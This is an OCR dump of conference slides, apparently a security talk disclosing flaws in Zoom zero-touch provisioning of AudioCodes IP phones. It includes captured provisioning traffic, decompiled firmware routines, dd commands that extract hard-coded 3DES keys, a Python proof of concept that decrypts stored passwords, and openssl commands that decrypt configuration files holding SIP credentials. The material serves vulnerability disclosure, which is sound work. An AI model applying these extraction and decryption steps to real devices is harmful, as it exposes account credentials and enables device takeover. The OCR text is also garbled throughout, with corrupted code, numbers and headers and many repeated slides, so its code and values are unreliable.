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About this Talk
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Who am I?

Moritz Abrell

@moritz_abrell

Senior IT Security Consultant
SySS GmbH

Hacking Hard- and Software

Various national and international Hacking and InfoSec Conferences
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On-Premise (traditional)
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Motivation

- Traditional endpoint provisioning is not secure e.g.:
- Accessible sensitive Information
- Insufficient or missing authentication
- Missing transport encryption
- Missing server/client verification

- Combining traditional devices with cloud communication services?
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Motivation

- Traditional endpoint provisioning is not secure e.g.:
- Accessible sensitive Information
- Insufficient or missing authentication
- Missing transport encryption
- Missing server/client verification

- Combining traditional devices with cloud communication services?

- Huge potential impact
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Why Zoom?

Zero-Touch Provisioning

For phones that support Zero-Touch Provisioning, you can automatically provision your phone without having to configure
provisioning in the phone's web interface.

Source: https;//support.zoom.us/hc/en-us/artides/360033223411-Getting-started-with-provisioning-desk-phones
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Why Zoom?

Zero-Touch Provisioning

For phones that support Zero-Touch Provisioning, you can automatically provision your phone without having to configure

provisioning in the phone's web interface.

Source: https;//support.zoom.us/hc/en-us/artides/360033223411-Getting-started-with-provisioning-desk-phones
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Zoom Phone Certified Hardware

Last Updated: June 15, 2023

The table below provides the list of supported phone devices for Zoom Phone. You can also see a list of supported features.
Before you add devices to Zoom Phone, see an overview of the provisioning process.

[ b For Zoom Phone Appliances, see our list of certified devices.
‘ For Zoom Certified Devices, see the list of Zoom Certified Devices.

This article covers:

« Encryption
» Desk phones
» AudioCodes
= Cisco
= Grandstream
« Check the hardware version number of your Grandstream desk phone
= Poly
= Yealink
« Analog gateways
= AudioCodes
= Cisco
= Grandstream
» Upgrade an ATA Grandstream firmware
« Verify an ATA Grandstream unit has the updated Gen 2 device factory certificate installed
= Find an ATA Grandstream LAN MAC address value
= Poly
« Desk phone accessories
= Cisco
= Poly
= Yealink
» Session Border Controllers
» AudioCodes

Source: https://support.zoom.us/hc/en-us/articles/360001299063-Zoom-Phone-Supported-Devices
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5 Reasons Zoom Phone Has Sold 4
Million Seats So Quickly

September 9, 2022 - 8 min read

Source: https://blog.zoom.us/millions-of-reasons-to-celebrate-zoom-phone/
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Hardware

AudioCodes C450HD IP-Phone

Publicly downloadable firmware

Support for ZTP

Multiple use cases
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€ Provisioning DeskPhone: x | + e

< C & support.zoom.us/hc/en-us/sections/4413424119565-Provisioning-Desk-Phones-and-Devices < w 0
200Mm Support Products Solutions Resources Plans & Pricing Join~ Host~ Signin
Product Support ~ Support by Topic ~ More Support ~ Contact Support Q, Search

Zoom Support > Zoom Phone System Support > Settings and Configuration for Zoom Phone > Provisioning Desk Phones and Devices

Provisioning Desk Phones and Devices

Provision phones and hardware to use them with Zoom Phone. Use desk phone provision templates and other provisioning guides to perform
advanced provisioning configurations.

AudioCodes MP504/508 (formally M500LIi) ATA device Configuring desk phone provision templates

provisioning Assisted provisioning URLs

Cisco assisted provisioning guide Poly assisted provisioning guide

Zoom Phone firmware resync and Auto Pulling Yealink assisted provisioning guide

Resetting to factory default (Poly) Re-syncing a desk phone or common area phone with the zero
Resetting to factory default (Yealink) touch provisioning (ZTP) server

Source: https;//support.zoom.us/hc/en-us/sections/4413424119565-Provisioning-Desk-Phones-and-Devices
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mce and assigns

a configuration template
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vendor redirect service
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2. initiates that Zoom is
the provisioning and configuration
server for the added device
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vendor redirect service

A

2. initiates that Zoom is
the provisioning and configuration
server for the added device
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Vendor Redirect Service

Request
Raw Hex

I GET /@@9@8F9D38992 HTTF/1.1

Z2 Host: redirect.audiocodes.com
_3 1'-:l|.'1'-:

Accept:
User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1

(=

5 Connection: close
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Vendor Redirect Service

Request
Raw Hex

fAR9REF9DE992 HTTP/1.1
redirect.audiocodes . com

L GET
2 Host:

1 Accept: */F

User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1

(=

5 Connection: close
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Vendor Redirect Service

Request
Raw Hex

fAR9REF9DE992 HTTP/1.1
redirect.audiocodes . com

2 Host:
1 Accept: */F
User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1

(=

5 Connection: close
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Vendor Redirect Service

Response
Raw Hex Render

HTTP/1.1 382 Found

Content-Length: @

Connection: close

Content-Type: text/plain; charset=utf-2

Date: Thu, 29 Jun 2023 @8:20:85 GMT

6 Location: https://eudlpbxacp.zoom.us/apl/v2/pbx/provisioning/audiocodes/
7 Request-Context: appld=cid-v1:229bbthd-@4d7-408d-b225-c6edd@f5c51hb

L3 [0}

r.

LN
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Vendor Redirect Service

Response

Raw Hex Render

HTTP/1.1|382 Found
Content-Length: @
Connection: close
Content-Type: text/plain; charset=utf-2

Date: Thu, 29 Jun 2023 @8:20:85 GMT

6 Location: https://eudlpbxacp.zoom.us/apl/v2/pbx/provisioning/audiocodes/
7 Request-Context: appld=cid-v1:229bbthd-@4d7-408d-b225-c6edd@f5c51hb

L3 [0}

r.

LN
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Vendor Redirect Service

Response

Raw Hex Render

1 HTTP/1.1|382 Found
2 Content-Length: @
3 Connection: close
4 Content-Type: text/plain; charset=utf-8

Date: Thu, 29 Jun 2023 @8:20:85 GMT

6 |Location: https://eudlpbxacp.zoom.us/apl/v2/pbx/provisioning/audiocodes/
7 Request-Context: appld=cid-v1:229bb6bd-04d7-408d-b225-c6eddBTocolb

LN
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Request
Raw Hex

1 GET /0B9BEF9DE993 HTTP/1.1

2 Host: redirect.audiocodes.com

2 Accept: */F

4 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
5 Connection: close

(o €| >

Response
Raw Hex Render

HTTPF/1.1 382 Found

Content-Length: @

Connection: close

Content-Type: text/plain; charset=utf-8

5 Date: Thu, 29 Jun 2023 88:31:18 GMT

6 Location: https://eudlpbxacp.zoom.us/api/v2/pbx/provisioning/audiocodes/
7 Request-Context: appld=cid-vl1:229bb6bd-04d7-408d-b225-cbedd4df5c51b

Lil |“'\.| !

r.
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Request
Raw Hex

1 GET)| /0B9BEF9DE993 HTTP/1.1

2 Host: redirect.audiocodes.com

2 Accept: */F

4 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
5 Connection: close

(o €| >

Response
Raw Hex Render

HTTPF/1.1 382 Found

Content-Length: @

Connection: close

Content-Type: text/plain; charset=utf-8

5 Date: Thu, 29 Jun 2023 88:31:18 GMT

6 Location: https://eudlpbxacp.zoom.us/api/v2/pbx/provisioning/audiocodes/
7 Request-Context: appld=cid-vl1:229bb6bd-04d7-408d-b225-cbedd4df5c51b

Lil |“'\.| !

r.
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Response

Raw Hex Render

1 HTTP/1.1 382 Found

2 Content-Length: @

1 Connection: close

4 Content-Type: text/plain; charset=utf-8

> Date: Tue, B8 Nov 2022 16:20:39 GMT

& Location: https://S5ecureProvservice.

7 Request-Context: appld=cid-v1:229bbb6bd-@84d7-408d-b225-c6edddf5c51b
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Response

Haw

1 HTTPF/f1.1 3
2 Content-Le
4 Connection
4 Content-Ty
> Date: Tue,

Hex Render

82 Found

ngth: @

: close

pe: text/plain; charset=utf-8
BE Nov 2022 10:20:39 GMT

& Location:

https://5ecureProvservice.

7/ Request-Co

ntext: appld=cid-v1:22%9bb6bd-04d7-408d-b225-cbedd@f5c51b
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Response
Raw Hex Render

1 HTTP/1.1 382 Found

2 Content-Length: @

3 Connection: close

4 Content-Type: text/plain; charset=utf-8

Date: Fri, 13 Jan 2023 @7:58:02 GMT

6 Locatlon: httpE:fJ 5 bfirmware.

7 Request-Context: appld=cid-v1:229bb6&bd-04d7-408d-bh225-c6edddf5c51b

I"j-r'lj_
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Response
Raw Hex Render

HTTP/1.1 200 OK

Date: Tue, B8 Nov 2022 11:19:57 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains;
5 Upgrade: h2

6 Connection: Upgrade, close

7 X-XS55-Protection: 1: mode=block

2 ¥X-Content-Type-Options: nosniff

9 Content-Type: text/plain;charset=UTF-8
1@ Set-Cooklie: BIGipServerPORTAL_80=1010
Content-Length: 3352

[ I L

1 P

;Genband_AUDC_IP_Phone_4xx_configuration_template_v2
14 :5pecial interop - Genband
5 wolp/services/application_server_type=GENBAND

:Private Line settings

2 voip/line/@/enabled=1

9 voip/line/@/auth_name=

20 voilp/line/@/auth_password=

21 volip/line/@/description=

22 volp/line/@/id=

23 volp/line/@/1line_mode=PRIVATE
24 yoip/line/@/account_type=5IP

preload
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Request
Raw Hex

GET /pub/MP2@2-DMS-Flash-USA.CONF HTTP/1.1

Host: redirect.audiocodes.com

User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C45@HD_UC_3.4.6.604/1
4 Accept: */F

5 Connection: close

SEICE

Response

Raw Hex

I HTTP/1.1 28@ OK
2 Content-Length: 528

Connection: close
Content-Type: application/octet-stream

5 Date: Wed, 26 Oct 2022 18:59:21 GMT

[
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Request
Raw Hex

GET |/pub/MP2B2-DM5-Flash-USA.CONF| HTTP/1.1

Host: redirect.audiocodes.com
User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C45@HD_UC_3.4.6.604/1

4 Accept: */*
5 Connection: close

SEICE

Response

Raw Hex

I HTTP/1.1 28@ OK
2 Content-Length: 528

Connection: close
Content-Type: application/octet-stream

5 Date: Wed, 26 Oct 2022 18:59:21 GMT

[
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Request
Raw Hex

GET |/pub/MP2B2-DM5-Flash-USA.CONF| HTTP/1.1

Host: |redirect.audiocodes. com
User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C45@HD_UC_3.4.6.604/1

Lil |“'\.| !

Accept: */*
5 Connection: close

r.

(é)@}++

Response

Raw Hex

I HTTP/1.1 28@ OK
2 Content-Length: 528

Connection: close
Content-Type: application/octet-stream

5 Date: Wed, 26 Oct 2022 18:59:21 GMT

r.
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Request
Raw Hex

GET |/pub/MP2B2-DM5-Flash-USA.CONF| HTTP/1.1

Host: |redirect.audiocodes. com
User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C45@HD_UC_3.4.6.604/1

Lil |“'\.| !

Accept: */*
5 Connection: close

r.

(é)@}++

Response

Raw Hex

I{HTTP/1.1 288 OK
2| Content-Length: 528

3 Connection: close
4 Content-Type: application/octet-stream

5 Date: Wed, 26 Oct 2022 18:59:21 GMT
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- Exposure of sensitive Information to an unauthorized Actor (CWE-200)
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Pretty Raw Hex
12 X-Content-Type-Options: nosniff
14 Connection: close
15
15 ems_server/provisioning/url=https://ippdm.audiocodes.com/
17 provisioning/method=STATIC
18 provisioning/configuration/url=https://1ppdm.audiocodes.com/dynamicconfigfiles/
15 prnviainﬂiﬂgffirmwarefurlzhttpa:;;ippdm.audiﬂaﬂdes.cﬂmffirmwarefilesf
20 ems_server/user name=system
21 ems_server/user_password={

"Wy ZOpS,/SpM="

L |
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$ echo "Vv1ZOp5/5pM=" | base64 -d | xxd

-
P
0

Q0000D0B: 56T9 593a 9e7f e693 -

V.Y, ...
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= Firmware X | + v - o x

& C @ audiocodes.com/library/firmware & < S

IP Phone Software Image Files

Click here to download the latest software image files of the AudioCodes IP Phones

Source: https://mwww.audiocodes.com/library/firmware
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Password Encryption

- Imports of AC_Decrypt_Param and decrypt_string from /lib/libac_des3.s0
- /lib/libcgi.so
- /lib/libdevice_management.so
- /lib/libaq201.s0
- [lhome/ipphone/bin/voip _task SFB
- [home/ipphone/bin/nxphone
- [Ihome/ipphone/bin/emsc
- [Ihome/ipphone/bin/http _services
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undefined

pee1eT44 70 40

PRA1OTAE BB 6O

pee1eTAc 81 40

peal1afse 02 56

A10T54 B9 fe

2d

ad

ad

a@

ff

ed

el

el

el

eb

undefined AC_Decrypt_Param()

™1 <RETURMN=
AC_Decrypt_Param
stmdb sp!, {r4,15, 16,
Cpy ro, i
Cpy rd, rl
Cpy rs, 12

1}

bl decrypt_string




(== = I R =

undefined4d decrypt_string(char *param_1,undefined4 param_2)

size t sVarl:

int iVar2:

undefinedd4 uVar3:

undefinedd *puvari;
undefinedd *puvars;
undefinedd *puvars;

undefined auStack 1828 [2@44]:
char acStack_1@824 [4];

char acStack 1826 [2048]:
undefinedd4 local 828 [2]:
undefined local 818 [17]:
undefined auStack 867 [2827]:

puVard = local_82@;
puvars = BYTE_ARRAY_@0010fhs;
do {

puvarg = puVars + 2;
uvar3d = puVars[1];
*puVard = *puVars;
puvard[1] = uVar3;
puvard = puVard + 2;
puvars = puVare;

} while (puVart != EUNK_@@alefdo);

*puVard = @;

memset{austack _8@7,0,8x7e7):

sWarl = strlen{param_1);

if {{(sWarl < 5) || (iVar2 = strncmp(param_1,"{\"",2), iVar2z !'= @)} |

(iVarz = strncmp(param_1 + (sVarl - 2),"\"}",2), ivarz != @)) {

uvar3 = exffrfffff:

h

else {
strncpy(acStack_10828,param_1 + 2 sVarl - 4);
acStack_1@2@[sVarl - 4] = '"\@':
sWarl = strlen(acStack_1@828@);
uVar3 = base6d decode{acStack_1820,sVarl,auStack_182@):
des3_crypt(auStack_ 1828, param_2,uvar3,local 820,8);
uWars = @:

}

return uVars3;




37
38
39

41
42
43

else {

strncpy(acStack_1020,param_ 1 + 2,sVarl - 4);

acStack _1@2@[sVarl - 4] = "\@':

sWarl = strlen{acStack _182@8):

uVar3 = basebd decode(acStack 1628 sVarl auStack 1828);
des3_crypt(auStack_1820,param_2,uVar3,local 820,8);
uvarsd = @:

#BHUSA @BlackHatEvents
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48 DES_set_key_unchecked({param_4,6&D5tack_1a8);

49 DES_set_key_unchecked{param_4[1] ,&D5tack_128);

50 DES_set_key_unchecked({param_4[2] ,&D5tack_ag);

51 DES_ede3_cbc_encrypt(input,param_2,_ size, &D5tack_lad, &DStack_128 &DStack_a8,&local_1b@, param_5)
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08 /docs/man3.0/man3/DES X +

< C ] openssl.org [docs/man3.0/man3/DES_ede3_cbc_encrypt.html

Source: https://mwww.openssl.org/docs/man3.0/man3/DES_ede3 coc_encrypt.html
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5@ DES_ede3_chc_encrypt
51 (input,output,_ size, &DES_key_schedule*ks1, &DES_key_schedule*ks2, EDES_key_schedule*ks3
52 J1vec,enc):
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IV

KEY

BYTE_ARRAY 0QGOLOThO

00010fbo db[8]
00010fbo [0] Ash, A4h,
00010fb4 [4] 3sh, CBh,
poolefbe db [24]
poolefbe [0] 60h, 46h, 75h, FBh,
po0lefbe [4]
poolefco [8]

0o010fcd [12]
00010fc8 [16]
0oolofce [20]
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# Extraction of the Key:
$ offset=%$(python3 -c 'print(int("0e@00@ftb8", base=16))")
$ dd skip=%$offset count=24 if=libac_des3.so of=key.bin bs=1

# Extraction of the IV:
$ offset=%(python3 -c 'print(int("0eee@ftbe", base=16))")
$ dd skip=%$offset count=8 if=libac_des3.so of=iv.bin bs=1




#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys

import base64

from Crypto.Cipher import DES3
from binascii import unhexlify

KEY = unhexlify (' 604075 Th####H#H#H#HHH#HHHHHHHHFRAE )
IV unhexlify( 'a3ad####35chi####")

def decrypt(ciphertext):
ciphertext_decoded = baset4.bbddecode(ciphertext)
cipher = DES3.new(KEY, DES3.MODE_CBC, iv=1IV)
plaintext = cipher.decrypt(ciphertext_decoded)
print("plain text password: {}".format(plaintext.decode('utf-8")))

def main():
decrypt(sys.argv[1l])
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$ python3 poc.py Vv1ZOp5/5pM=

plain text password: system
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$ python3 poc.py Vv1ZOp5/5pM=

plain text password:|system
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Response
Raw Hex Render

HTTP/1.1 280 OK

Date: Tue, B8 Nov 2022 11:89:13 GMT

Server: Apache

¥-Frame-Options: SAMEORIGIN

Referrer-Policy: no-referrer

6 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Strict-Transport-Security: max-age=31536000; includeSubDomains

Lid [fd |

r.

L

ems_server/provisioning/url=https://ippdm.audioccodes.com:443/
ems_server/user name= @audiocodes. com
ems_server/user_password={"nQb w=="}%

| personal_settings/language=English

Fed Pl
s Lid sl

e
[

Fed
L
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- SYSS-2022-052
- CVE-2023-22957

- Use of hard-coded Cryptographic Key (CWE-321)
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28.1 Encrypting Configuration Files

This procedure describes how to encrypt the Configuration file. For example, you may wish
to encrypt the configuration file when it is send over an unsecure network.

» To encrypt the configuration file:

®m Atthe command line prompt, specify the following:
encryption tool.exe -f <filename>.cfg

where <file name>.cfg specifies the name of the Configuration file that you wish to
encrypt.

Once the Configuration file is encrypted, it receives the suffix ‘.cfx’ (e.g. Conf.cfx). This
is the file that you should specify in the ‘Configuration URL" and the ‘Dynamic
Configuration URL' fields when performing automatic provisioning (see Part Il
‘Automatic Provisioning’).

AudioCodes Administrator Manual
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28.1

Encrypting Configuration Files

This procedure describes how to encrypt the Configuration file. For example, you may wish
to encrypt the configuration file when it is send over an unsecure network.

» To encrypt the configuration file:

encryption tool.exe -f <filename>.cf

®m Atthe command line prompt, specify the following;|
g

where <file name>.cfg specifies the name of the Configuration file that you wish to

encrypt.

Once the Configuration file is encrypted, it receives the suffix ‘.cfx’ (e.g. Conf.cfx). This
is the file that you should specify in the ‘Configuration URL" and the ‘Dynamic
Configuration URL' fields when performing automatic provisioning (see Part Il

‘Automatic Provisioning’).

AudioCodes Administrator Manual
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28.1 Encrypting Configuration Files
This procedure describes how to encrypt the Configuration file. For example, you may wish
to encrypt the configuration file when it is send over an unsecure network.

» To encrypt the configuration file:

encryption tool.exe -f <filename>.cf

®m Atthe command line prompt, specify the following;|
g

where <file name>.cfg specifies the name of the Configuration file that you wish to
encrypt.

Once the Configuration file is encrypted, it receives the suffix ‘.cfx’ (e.g. Conf.cfx). This
is the file that you should specify in the ‘Configuration URL" and the ‘Dynamic
Configuration URL' fields when performing automatic provisioning (see Part Il
‘Automatic Provisioning’).

AudioCodes Administrator Manual
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Nib/libcgi.so

=6) {
iVarl = stromp(acStack_led + (sVar2 - 4),".cfx");
if (1iVarl == @) {
_ format = |/home/ipphone/bin/decryption_tool|-f /tmp/back_file.cfx -o %s = fdev/null"
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[jnahrell

$ strings -n 32 decryption_tool
openssl_crypt EVP_BytesToKey ERROR cipher[%d], strlen((char™)pw) [%d]
openssl_crypt EVP_CipherInit ERROR
openssl_crypt EVP_CipherUpdate ERROR
openssl_crypt EVP_CipherFinal ERROR
des3_crypt: Cipher context can't be NULL!
des3_crypt: Input buffer can't be NULL!
des3_crypt: Output buffer can't be NULL!
init_cipher: RAND_pseudo_bytes ERROR. Can't generate random salt!
init_cipher: EVP_BytesToKey ERROR. Can't generate key and IV!
init_cipher: EVP_CipherInit ERROR. Can't initialize cipher
final_cipher: Cipher context can't be NULL!
final_cipher: Output buffer can't be NULL!
final_ciphexr EVP_CipherFinal ERROR
h4dA
Use: %s -T <input file name> -o <output file name>
Invalid command line parameters.
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[jnahrell

$ strings -n 32 decryption_tool
openssl_crypt EVP_BytesToKey ERROR cipher[%d], strlen((char™)pw) [%d]
openssl_crypt EVP_CipherInit ERROR
openssl_crypt EVP_CipherUpdate ERROR
openssl_crypt EVP_CipherFinal ERROR
des3_crypt: Cipher context can't be NULL!
des3_crypt: Input buffer can't be NULL!
des3_crypt: Output buffer can't be NULL!
init_cipher: RAND_pseudo_bytes ERROR. Can't generate random salt!
init_cipher: EVP_BytesToKey ERROR. Can't generate key and IV!
init_cipher: EVP_CipherInit ERROR. Can't initialize cipher
final_cipher: Cipher context can't be NULL!
final_cipher: Output buffer can't be NULL!
final_cipher EVP_CipherFinal ERROR
h4dA
Use: %s -T <input file name> -o <output file name>
Invalid command line parameters.
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00011620

00011624

00011628

0001162c

00011630

00011634

00011638

0001163c

00011640

00011644

00011648

0001164c

fo

51

Qe

01

18

Qo

eg

Qe

41

Qe

o1

3d

47

de

d0

20

70

50

11

8

20

Qo

10

fd

2d

Ad

4d

ai

ad

ai

af

47

ai

ai

af

Tt

FUN 00011620 XREF[1]: 0o01ofdc
ed stmdb L, {rd,rs,rg, r7,
B2 sub , 5P, #0x610
B2 sub ,5p,#0x8
el Cpy :

B2 add , 5P, #0x18

el Cpy :

8o ldr ., [DAT_00011828]
B2 sub , 7, #0x8

e3 mov LADx Al

el Cpy :

el add ==5 hddAratH

eb bl <EXTERNAL=>: :memcpy
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00011620

00011624

00011628

0001162c

00011630

00011634

00011638

0001163c

00011640

00011644

00011648

0001164c

fo

51

Qe

01

18

Qo

eg

Qe

41

Qe

o1

3d

47

de

d0

20

70

50

11

8

20

Qo

10

fd

2d

Ad

4d

ai

ad

ai

af

47

ai

ai

af

Tt

FUN_00011620

ed stmdb L, {rd,rs,rg, r7,
B2 sub , 5P, #0x610

B2 sub ,5p,#0x8

el Cpy :

B2 add , 5P, #0x18

el Cpy :

8o ldr ., [DAT_00011828]
B2 sub , 7, #0x8

e3 mov LADx Al

el Cpy :

el add ==5 hddAratH
eb bl <EXTERNAL=>: :memcpy

XREF[1]:
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l,Mia“‘=|‘iliiarIf

ee@11758 00

POR1175C 08

pEB1176@ 0a

PR@11764 09

2B011768 8C

it

36

lt

1@

fe

8d

al

ad

ai

Tt

eS

el

el

el

eh

str

=

@, [sp,#0x0]=>1local 638

CRY

= |
[ -

Cpy

Cpy

bl

= |
=

= |
=t

FUN_p0@a111a0
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l,Mia“‘=|‘iliiarIf

ee@11758 00

POR1175C 08

pEB1176@ 0a

PR@11764 09

2B011768 8C

it

36

lt

1@

fe

8d

al

ad

ai

Tt

eS

el

el

el

eh

str

CRY

Cpy

Cpy

=

@, [sp,#0x0]=>1local 638

= |
[ -

= |
=

= |
=t

bl

FUN_p0@a111a0
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l,Mia“‘=|‘iliiarIf

FUN_2@8111a0 XREF[1]:
pe0111a@ @ 4f 2d eQ stmdb sp!,{r4,r5,16,r7,18,r9, 110,111, 11}
geael1llad 81 60 ald el CpYy 6, param_2
Bedl1l1a8 @83 78 a@ el Cpy T/, param_4
pe@dlllac fc dé 4d ez sub sp, sp,#Foxfc
6ea111bd @@ 20 ad el CpYy Ts8, param_1
Ge@1llbd @2 b@ ad el Cpy 11, param_3
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l,Mia“‘=|‘iliiarIf

FUN_288111a0 XREF[1]:
pe0111a@ @ 4f 2d eQ stmdb sp!,{r4,r5, 67|18, 9,110,111, 11}
geael1llad 81 60 ald el CpYy 6, param_2
Bedl1l1a8 @83 78 a@ el Cpy T/, param_4
pe@dlllac fc dé 4d ez sub sp, sp,#Foxfc
6ea111bd @@ 20 ad el CpYy Ts8, param_1
Ge@1llbd @2 b@ ad el Cpy 11, param_3




O

PEO11218 07 30

PEO1121c 08 OO

pE011220 B4 O

pEA11224 14 18

pB@11228 43 fe

a@

8d

a@

Sd

L

el

B5

el

o

eb

Cpy param 4,617

str 9, [sp,#local_118]

Cpy param_1,14

ldr param_2, [sp,#local_1@c]

bl <EXTERNAL=: :EVP_BytesToKey




EVP _BytesToKey

NAME

EVP BytesToKey - password based encryption routine

SYNOPSIS

DESCRIPTION

EVP BytesToKey() derives a key and IV from various parameters. type is the cipher to derive the
key and IV for. md is the message digest to use. The salt parameter is used as a salt in the
derivation: it should point to an 8 byte buffer or NULL if no salt is used. data is a buffer

containing datal bﬁes which is used to derive the kexing data. count is the iteration count to

use. The derived key and IV will be written to key and iv respectively.

Source: https://mwww.openssl.org/docs/man3.1/man3/EVP_BytesToKey.html




EVP _BytesToKey

NAME

EVP BytesToKey - password based encryption routine

SYNOPSIS

DESCRIPTION

EVP BytesToKey() derives a key and IV from various parameters. type is the cipher to derive the
key and IV for. md is the message digest to use. The salt parameter is used as a salt in the
derivation: it should point to an 8 byte buffer or NULL if no salt is used. data is a buffer

containing datal bﬂes which is used to derive the kexing data. count is the iteration count to

use. The derived key and IV will be written to key and iv respectively.

Source: https://mwww.openssl.org/docs/man3.1/man3/EVP_BytesToKey.html
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pee1leaf

68 34 64

s_hddA

ds

"hddA:




O

$ offset=%(python3 -c 'print(int("00001e8f", base=16))"')
$ dd skip=%offset count=64 if=decryption_tool of=secret.bin bs=1




O

p0111b8 ad fe T eb bl <EXTERMAL>: :EVP des ede3 cbc
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$ secret=%(cat secret.bin)

$ openssl enc -des-ede3-cbc -P -pass pass:$secret -nosalt
*** WARNING : deprecated key derivation used.

Using -iter or -pbkdf2 would be better.

key=40DA6 | #ALHHLHHHH AR LU BB B HH U IR B UL BB RIAH

1v =COLl4 #H##HAHHHHH#AH

$ openssl enc -d -des-ede3-chc -pass pass:$secret -nosalt \
-in encrypted_config.cfx -out plain_config.cfg

$ cat plain_config.cfg
voip/line/@/enabled=1
voip/line/@/1d=123
voip/line/@/auth_name=XYZ
voip/line/@/auth_password=XYZ
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USA 2023

28.1 Encrypting Configuration Files
This procedure describes how to encrypt the Configuration file. For example, you may wish
to encrypt the configuration file when it is send over an unsecure network.
» To encrypt the configuration file:

®m Atthe command line prompt, specify the following:
encryption tool.exe -f <filename>.cfg

where <file name>.cfg specifies the name of the Configuration file that you wish to
encrypt.

Once the Configuration file is encrypted, it receives the suffix ‘.cfx’ (e.g. Conf.cfx). This
is the file that you should specify in the ‘Configuration URL" and the ‘Dynamic
Configuration URL' fields when performing automatic provisioning (see Part Il
‘Automatic Provisioning’).

AudioCodes Administrator Manual
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- SYSS-2022-054
- CVE-2023-22956

- Use of hard-coded Cryptographic Key (CWE-321)
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a configuration template
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Zoom mce and assigns

a configuration template
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Request

Raw Hex
1 GET /api/v2/pbx/provisioning/audiocodes/@@908F9D8992.cfg HTTP/2

2 Host: eu@lpbxacp.zoom.us
1 User-Agent: AUDC/3.4.6.6804 AUDC-IPPhone-C450HD_UC_3.4.6.604/1

4 Accept: */F
5 Referer: https://provacp.zoom.us/




Response

Pretty Raw Hex Render

W =] O N R e

18
11

13

Ln

HTTP/2 400 Bad Request

Server: nginx

Date: Sat, @1 Jul 2823 @9:35:14 GMT

Content-Type: text/html

Content-Length: 230

Strict-Transport-Security: max-age=31536000; includeSubDomains

<html=>
<head>
<title=>
4@ No required 55L certificate was sent
</title>
</head>
<hbody=>
<center=
<hl>
400 Bad Request
</hl=>
</center>
<center=
No required SSL certificate was sent
</center>
<ZhT>
<center=
nginx
</center>
</body>
</html>




Eile Edit

/|

View Go Capture Analyze 5tatistics Telephony Wireless

A0 mORE QesEgs S = |

Tools Help

aQqq:

[i |t1:p.5tream eq 2

Source

Src.Port

Destination

Dst.Port Protocol

Length

Info

1-19 19:38:06.541412668 192.168.219.72 41362  3.120.121.92 443 TCP 66 41362 . 443 [ACK] Seqg=1 Ack=1 Win=29248 Len=0 TSval=4294942974
1-19 19:38:06.559799768 192.168.219.72 41362  3.120.121.92 443 TLSv1.2 583 Client Hello
1-19 19:38:06.591678758 3.120.121.92 443 192.168.219.72 41362  TCP 66 443 ., 41362 [ACK] Seqg=1 Ack=518 Win=62208 Len=8 TSwal=385154047q
1-19 19:38:06.597166812 3.1208.121.92 443 192.168.219.72 41362  TLSv1.2 1506 Server Hello
1-19 19:38:06.597542325 192.168.219.72 41362  3.120.121.92 443 TCP 66 41362 . 443 [ACK] Seq=518 Ack=1441 Win=32128 Len=0 T3val=4294942
1-19 19:38:06.601687045 3.1208.121.92 443 192.168.219.72 41362  TCP 1506 443 ., 41362 [PSH, ACK] Seq=1441 Ack=518 Win=62208 Len=1440 TSwval
1-19 19:38:06.602035254 192.168.219.72 41362  3.120.121.92 443 TCP 66 41362 - 443 [ACK] Seq=518 Ack=2881 Win=350088 Len=0 T3val=4294942
1-19 19:38:06.606450996 3.1260.121.9 443 192.168.219.72 41362  TLSv1.2 1506 Certificate
1-19 19:38:06.606762007 : G2 ! 4136 2 ! s L ils 4136 1 ACK =518 Ack=4 Win=37288 lLen=0 al=4204943
1-19 19:38:06.607731560 3.120.121.92 443 192.168.219.72 41362  TLSv1.Z 434 Server Key Exchange, Certificate Reguest, Server Hello Done
1-19 19:38:06.6079706085 J72.105.219. T130 . LZ%S. .9 s : ils T30 = 23 . -0 10 ALR—400Y WIN-40/68 Lel=u T g e ]
1-19 19:38:06.669141160 192.168.219.72 41362  3.120.121.92 443 TLSv1.2 122€ Certificate, #ent Key Exchange, Certificate Verify, Change Cip
1-19 19:38:06.704012179 3.1208.121.92 443 192.168.219.72 41362  TCP 66 443 . 41363TACK] Seq=4689 Ack=1672 Win=61856 Len=08 TSval=305154
1-19 19%:38:06.7043852438 3.128.121.92 443 192.168.219.72 41362  TLSv1.2 117 Changg~tipher Spec, Encrypted Handshake Message
1-19 19:38:06. 705050588 192.168.219.72 41362  3.120.121.92 443 TCP 66 43802 . 443 [ACK] Seq=1672 Ack=4740 Win=48768 Len=0 TSval=429494
1-19 19:38:06. 706763561 192.168.219.72 41362  3.120.121.92 443 TLSv1.2 266 Application Data
1

Content Type: Handshake (22)

Version: TLS 1.2 (B8x8303)

Length: 333

= Handshake Protocol: Serwver Key Exchange
Handshake Type: Server Key Exchange (12)
Length: 329

¢ EC Diffie-Hellman Server Params

= Transport Layer Security
= TL5v1.2 Record Layer: Handshake Protocol: Multiple Handshg essages

Content Type: Handshake (22)
Version: TLS 1.2 (@x@303)

Length: 81
= Handshake Prutncul:!ﬂertifieate Reguest
Handshake Type: Certificate Reqguest [13)
Length: 73

Certificate types count: 3

¢ Certificate types (3 types)
signature Hash Algorithms Length: 38

b Signature Hash Algorithms (15 algorithms)
Distinguished Mames Length: 35

# Distinguished Mames (35 bytes)

- Handshake Protocol: Serwver Hello Done

Handshake Tvpe: Server Hello Done {14}

#BHUSA @BlackHatEvents
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CHAPTER 7 Troubleshooting CA448HD C450HD | Users & Administrator's Manual

& SSH is by default disabled and can be enabled with Administrator permissions in the
phone screen (Device Administration > Debugging = SSH).

Source: https://www.audiocodes.com/media/zhre0lg0/c448hd-c450hd-ip-phone-for-microsoft-teams-user-s-and-administrator-s-manuakver-1-17.pdf



Response

Raw Hex Rendet

HTTP/2 288 0K

Date: Sat, 81 Jul 2023 09:37:33 GMT

Content-Type: application/octet-stream

Content-Length: 6992

X-Im-Trackingid: PBX_0@b858508acfa584a36703eb5@0700b9f
¥-Iim-Region: VA

Vary: Origin
